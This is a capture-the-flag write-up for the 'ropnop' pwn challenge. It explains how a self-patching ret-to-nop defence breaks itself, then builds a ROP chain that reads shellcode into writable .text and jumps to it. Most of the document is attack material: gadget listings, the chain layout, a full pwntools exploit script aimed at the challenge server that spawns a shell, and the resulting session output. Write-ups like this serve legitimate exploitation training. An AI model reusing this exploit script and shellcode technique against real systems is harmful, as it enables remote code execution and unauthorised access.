ropnop - localo

Category: Pwn
Difficulty: Medium
Author: Flo

Description

heard about this spooky exploitation technique called ROP recently.

These haxxors don't know who they're dealing with though. With ropnop™, I made sure that nobody can exploit my sketchy C code!

Here's a demo:

nc hax1.allesctf.net 9300

Summery

Running the binary we get some output that says that all return between start and and are defused.

[defusing returns] start: 0x562cb92dc000 - end: 0x562cb92dd375

After that the program segfaults.

Solution

int main(void) {
	init_buffering();
	ropnop();
	int* buffer = (int*)&buffer;
	read(0, buffer, 0x1337);
	return 0;
}

The main function explains the segfault:
It reads 0x1337 bytes onto the stack (overwriting the return address) and returns.

But before that it calls ropnop

void ropnop() {
	unsigned char *start = &__executable_start;
	unsigned char *end = &etext;
	printf("[defusing returns] start: %p - end: %p\n", start, end);
	mprotect(start, end-start, PROT_READ|PROT_WRITE|PROT_EXEC);
	unsigned char *p = start;
	while (p != end) {
		// if we encounter a ret instruction, replace it with nop!
		if (*p == 0xc3)
			*p = 0x90;
		p++;
	}
}

This function maps the .text section as Read/Write/Execute and replaces every ret instruction (0xc3) with a nop (0x90).
The symbols __executable_start and etext are provided by the linker. But why does this function return? This is a quite hard bug to spot, but when replacing every 0xc3 with 0x90 it will replace the 0xc3 in the comparison as soon as the ropnop function is hit resulting in this code:

void ropnop() {
	unsigned char *start = &__executable_start;
	unsigned char *end = &etext;
	printf("[defusing returns] start: %p - end: %p\n", start, end);
	mprotect(start, end-start, PROT_READ|PROT_WRITE|PROT_EXEC);
	unsigned char *p = start;
	while (p != end) {
		// if we encounter a ret instruction, replace it with nop!
		if (*p == 0x90)
			*p = 0x90;
		p++;
	}
}

After this has happened the program will replace every nop with a nop and therefore do nothing. All ret instructions after this address will stay as they are. And the program will return to main.

void gadget_shop() {
	// look at all these cool gadgets
	__asm__("syscall; ret");
	__asm__("pop %rax; ret");
	__asm__("pop %rdi; ret");
	__asm__("pop %rsi; ret");
	__asm__("pop %rdx; ret");
}

The program contains a function called gadget_shop. It contains nice ROP gadgets, but the ropnop function does overwrite the ret instructions, because the address is before the check. We can't use them for our chain.

But we can use all gadgets after the address of the cmp ecx, 0xc3 (0x1270) here are the gadgets listed:

$ ropper --file ropnop --nocolor | awk -F: '{printf("%d: %s\n",$1, $2)}' | awk -F: '{if($1>4720)printf("0x%08x: %s\n",$1,$2)}'
0x0000135c:   add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret; 
0x00001366:   add byte ptr [rax], al; endbr64; sub rsp, 8; add rsp, 8; ret; 
0x0000135e:   add byte ptr [rax], al; endbr64; ret; 
0x00001297:   add esp, 0x20; pop rbp; ret; 
0x00001296:   add rsp, 0x20; pop rbp; ret; 
0x0000133c:   fisttp word ptr [rax - 0x7d]; ret; 
0x000012d7:   mov dword ptr [rbp - 0x18], eax; mov eax, ecx; add rsp, 0x20; pop rbp; ret; 
0x000012da:   mov eax, ecx; add rsp, 0x20; pop rbp; ret; 
0x000012d6:   mov qword ptr [rbp - 0x18], rax; mov eax, ecx; add rsp, 0x20; pop rbp; ret; 
0x00001358:   nop dword ptr [rax + rax]; endbr64; ret; 
0x00001357:   nop dword ptr cs
0x00001356:   nop word ptr cs
0x0000134c:   pop r12; pop r13; pop r14; pop r15; ret; 
0x0000134e:   pop r13; pop r14; pop r15; ret; 
0x00001350:   pop r14; pop r15; ret; 
0x00001352:   pop r15; ret; 
0x0000134b:   pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 
0x0000134f:   pop rbp; pop r14; pop r15; ret; 
0x00001351:   pop rsi; pop r15; ret; 
0x0000134d:   pop rsp; pop r13; pop r14; pop r15; ret; 
0x0000136d:   sub esp, 8; add rsp, 8; ret; 
0x0000136c:   sub rsp, 8; add rsp, 8; ret; 
0x0000135a:   test byte ptr [rax], al; add byte ptr [rax], al; add byte ptr [rax], al; endbr64; ret; 
0x000012d4:   xor ecx, ecx; mov qword ptr [rbp - 0x18], rax; mov eax, ecx; add rsp, 0x20; pop rbp; ret; 
0x0000136b:   cli; sub rsp, 8; add rsp, 8; ret; 
0x00001363:   cli; ret; 
0x00001368:   endbr64; sub rsp, 8; add rsp, 8; ret; 
0x00001360:   endbr64; ret; 
0x000012d5:   leave; mov qword ptr [rbp - 0x18], rax; mov eax, ecx; add rsp, 0x20; pop rbp; ret; 
0x00001271:   stc; ret; 

The gadgets are quite powerful we could use return-to-csu to leak libc and do pop rdi, ret; system instructions, but as the .text section is already mapped RWX, I decided to just write my shellcode to it and jump into that.

The ROP chain is very short:

__executable_start+0x60:	#rbp (junk)
__executable_start+0x1351:  pop rsi, pop r15, ret
__executable_start:			# rsi
0x00:						# r15
__executable_start+0x12ca	mov edx, 0x1337, call read, <junk>, add rsp, 0x20, pop rbp, ret # read 0x1337 bytes into __executable_start (our shellcode)
0x00 (0x20 times):			# padding for rsp
0x00:						# junk for pop rbp
__executable_start:			# jump to shellcode
00000000000012a0 <main>:
    12a0:       55                      push   rbp
    12a1:       48 89 e5                mov    rbp,rsp
    12a4:       48 83 ec 20             sub    rsp,0x20
    12a8:       c7 45 fc 00 00 00 00    mov    DWORD PTR [rbp-0x4],0x0
    12af:       e8 bc fe ff ff          call   1170 <init_buffering>
    12b4:       e8 47 ff ff ff          call   1200 <ropnop>
    12b9:       31 ff                   xor    edi,edi
    12bb:       48 8d 45 f0             lea    rax,[rbp-0x10]
    12bf:       48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
    12c3:       48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]
    12c7:       48 89 c6                mov    rsi,rax
    12ca:       ba 37 13 00 00          mov    edx,0x1337;  <-- we jump here
    12cf:       e8 6c fd ff ff          call   1040 <read@plt>
    12d4:       31 c9                   xor    ecx,ecx
    12d6:       48 89 45 e8             mov    QWORD PTR [rbp-0x18],rax
    12da:       89 c8                   mov    eax,ecx
    12dc:       48 83 c4 20             add    rsp,0x20
    12e0:       5d                      pop    rbp
    12e1:       c3                      ret

We can get the right offset for the overflow by using cyclic_find:

$ ./rop.py debug buffer_overflow
[...]
cyclic: 0x61616167

And we get the leak for free in the output the program.

$ ./rop.py remote
[*] '/ctf/ropnop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[x] Opening connection to hax1.allesctf.net on port 9300
[x] Opening connection to hax1.allesctf.net on port 9300: Trying 147.75.85.99
[+] Opening connection to hax1.allesctf.net on port 9300: Done
[*] Loaded 21 cached gadgets for '/ctf/ropnop'
[*] Switching to interactive mode
$ ls
flag
meme.jpg
ropnop
ynetd
$ cat flag
CSCG{s3lf_m0d1fy1ng_c0dez!}
$ exit
[*] Got EOF while reading in interactive
[*] Interrupted

Code

#!/usr/bin/env python3
from pwn import *
from huepy import *
import sys
import os
import socket
import subprocess
import re

vuln_host = 'hax1.allesctf.net'#'127.0.0.1'
vuln_port = '9300'

app_path = os.getcwd()+'/ropnop'

lo = not 'remote' in sys.argv
dbg = 'dbg' in sys.argv or 'debug' in sys.argv

if dbg:
    log.setLevel(2)

break_main = 'break_main' in sys.argv
buffer_overflow = 'buffer_overflow' in sys.argv

context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h'])

def init_dbg(app_path):
    args = []
    if break_main and not buffer_overflow:
        args.append('set stop-on-solib-events 1')
        args.append('continue')
        args.append('continue')
        args.append('break __libc_start_main')
        args.append('commands')
        args.append('break *$rdi')
        args.append('continue')
        args.append('end')
        args.append('continue')
        args.append('delete')
    elif buffer_overflow:
        args.append('set context-sections ""')
        args.append('define hook-stop')
        args.append('printf "cyclic: %p\\n", *((int *)$rsp)')
        args.append('python __import__("time").sleep(10000)')
        args.append('end')
        args.append('continue')
    else:
        args.append('continue')
    return gdb.debug(app_path, "\n".join(args))


elf = ELF(app_path)
if lo:
    p = process(app_path) if not dbg else init_dbg(app_path)
else:
    p = remote(vuln_host,vuln_port)

# PWN
if buffer_overflow:
    p.sendline(cyclic(4096))

padding = cyclic_find(0x61616167)

rop = ROP(elf)
start_addr = int(p.readuntil(b"\n").split(b"start: ")[1].split(b" - ")[0],16)

rop.raw(start_addr+0x60) #rbp (junk)
rop.raw(start_addr+0x1351) #pop rsi, pop r15; ret
rop.raw(start_addr) #_start (read destination)
rop.raw(0)
rop.raw(start_addr+0x12ca) #read 0x1337 bytes (shellcode) in _start
[rop.raw(0) for _ in range(0x20//8)] #paading for add, rsp 0x20
rop.raw(0x41414141) #rbp
rop.raw(start_addr) #jump to _start (execute shellcode)

p.sendline(b"B"*(padding-0x8)+(rop.chain())) # -0x8 becuase of pop rbp

shellcode = asm(shellcraft.amd64.linux.sh())

p.sendline(shellcode)

p.interactive()

Mitigation

Flag

CSCG{s3lf_m0d1fy1ng_c0dez!}